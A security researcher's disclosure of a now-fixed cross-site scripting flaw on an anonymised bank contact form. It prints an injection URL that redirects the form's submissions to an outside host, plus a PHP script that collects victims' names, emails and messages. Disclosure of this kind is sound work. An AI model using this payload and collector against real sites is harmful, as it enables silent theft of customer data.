|
|
|
This page contains a list of vulnerabilities that I have identified and/or researched since March of 2006. All bugs were reported responsibly and fixed prior to disclosure on this web site. The target institution or product is confidential in some reports and available in others. The icons on this page are taken from the MINIMALIZM v1.0 icon set by (Razor99).
Note: The bank has been notified of this vulnerability. All instances of the bank's real domain have been replaced with fakesite.com. The variable names and values have also been modified to prevent people like *you* from using a search engine to identify the bank. Introduction A cross-site scripting (XSS) vulnerability exists on a bank web site. In particular, the contact.asp page is vulnerable, because it does not properly filter client-supplied input. This can allow for a number of malicious activities, including theft of customer data upon submission of a contact message. In order to submit a proper contact message to the web site, a user would
access one of the following links: These pages can be used to leave comments on general information, mortgages, loans, and sales issues, respectively. The page remains the same throughout all links (contact.asp), and the topic is decided based on the value of the Recipient variable, which is supplied by the client browser. This value is then taken, unfiltered, and written back on page, as shown in the screen shot below:  By viewing the HTML source code of the page, the value "Information" shows up in the following location: [form method="post" action="thanks.asp"] ... [td width="30%" height="8" align="right"][strong] Email Recipient: [/strong][/td][td width="70%" height="8"]Information[/td] The objective of an XSS attack is to inject code into a dynamic page such as contact.asp, so that it presents this code back to the client for interpretation by the browser. For example, if we were to submit something like... Recipient=[font color='red']Information ...instead of... Recipient=Information ...then, the word would show up in red on the contact form. The main problem with contact.asp is that it doesn't filter special characters from input and thus allows arbitrary overwriting of other HTML on the page. Due to the positioning where "Information" appears on the page, in particular between the opening and closing [form][/form] tags, an attacker can easily redirect a user's submission to an off-site script which collects the user's name, email, and message body. Proof of Concept To prove this concept, one could draft a link that appears like this: http://www.fakesite.com/contact.asp?Recipient=[/form][form method='post' action='http://somewhere.com/data.php'] To hide the strange looking URL from user's, the link can be obscured with encoding and hidden behind an href tag. If the link below is clicked, a browser will open up to the legitimate contact form on the bank's real web site (this is not a phishing-type attack), however clicking the submit button will send all information to http://somewhere.com/data.php instead. Note: for the bank's privacy, the link points to fakesite.com. http://www.fakesite.com/contact.asp For the purposes of this demonstration, I will use http://www.mnin.org/a.php as the destination for form input. Before moving forward, check out the HTML code as it relates to the Recipient variable after a user clicks the link above: [form method="post" action="thanks.asp"] ... [td width="30%" height="8" align="right"][strong] Email Recipient: [/strong][/td][td width="70%" height="8"][/form] [td width="70%" height="8"][/form] [form method='post' action='http://www.mnin.org/a.php'][/td] The code we inserted via the link to contact.asp has closed the existing [form][/form] tag set (which submitted data to the real page - thanks.asp) and created one of our own, which submits data to http://www.mnin.org/a.php. Now, let's fill out some information and click submit. Notice the domain in the browser is indeed www.fakesite.com and that the page otherwise looks perfectly normal.
  After clicking submit, I am redirected back to the bank's home page, where I can continue my browsing. The only thing is - I just submitted my name, email address, and message to an arbitrary script elsewhere on the Internet. The a.php script captures the user data and writes it to a file, then redirects the browser the bank's home page. This all happens so quick, a user will not know that they ever left the bank's site in the first place. Here is the code that comprises a.php: [?
// collect customer data from POST submission
// variable names taken from page source
$Name = $HTTP_POST_VARS['Name'];
$Email = $HTTP_POST_VARS['Email'];
$Message = $HTTP_POST_VARS['Message'];
// create a file to store the customer data
// if opening fails, redirect the user to home page and exit
if (!$f = fopen("/tmp/entries.txt",'a+')) {
header("Location: http://www.fakesite.com/index.asp");
exit;
} else {
// write data to the file and redirect user to home page
fwrite($f, "Name: $Name\n");
fwrite($f, "Email: $Email\n");
fwrite($f, "Message: $Message\n");
fclose($f);
header("Location: http://www.fakesite.com/index.asp");
}
?]
At the end of the day, an attacker would have the content: Name: Michael Ligh Email: michael.ligh@mnin.org Message: just a test, abc 123 Suggestions for Remediation To prevent this type of arbitrary injection of code, the contact.asp page could be edited for one (or more) of the following functions:
|
|
